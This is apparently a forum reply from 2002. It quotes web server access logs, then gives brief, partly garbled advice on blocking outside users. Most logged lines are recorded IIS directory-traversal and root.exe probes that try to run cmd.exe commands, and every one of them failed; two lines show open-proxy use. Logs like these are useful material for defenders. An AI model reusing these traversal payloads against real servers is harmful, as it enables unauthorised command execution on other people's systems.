> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 216.175.88.237 - - [27/Oct/2002:16:58:54 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 80.132.253.64 - - [27/Oct/2002:17:11:07 -0800] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 80.132.253.64 - - [27/Oct/2002:17:11:07 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 80.132.253.64 - - [27/Oct/2002:17:11:08 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 80.132.253.64 - - [27/Oct/2002:17:11:08 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 80.132.253.64 - - [27/Oct/2002:17:11:09 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 80.132.253.64 - - [27/Oct/2002:17:11:10 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 80.132.253.64 - - [27/Oct/2002:17:11:10 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 80.132.253.64 - - [27/Oct/2002:17:11:11 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 80.132.253.64 - - [27/Oct/2002:17:11:11 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 80.132.253.64 - - [27/Oct/2002:17:11:12 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 80.132.253.64 - - [27/Oct/2002:17:11:13 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 80.132.253.64 - - [27/Oct/2002:17:11:13 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 80.132.253.64 - - [27/Oct/2002:17:11:14 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 80.132.253.64 - - [27/Oct/2002:17:11:14 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 80.132.253.64 - - [27/Oct/2002:17:11:15 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 80.132.253.64 - - [27/Oct/2002:17:11:15 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 211.102.106.6 - - [27/Oct/2002:19:26:10 -0800] "GET http://www.google.com/
> HTTP/1.1" 200 11716
> 61.171.138.75 - - [27/Oct/2002:23:05:23 -0800] "GET http://www.sina.com.cn/
> HTTP/1.1" 200 11716

You might want to learn how to local and internet IP addresses. If you only
want internet users to use this service you have to block outside invaders.

Trackers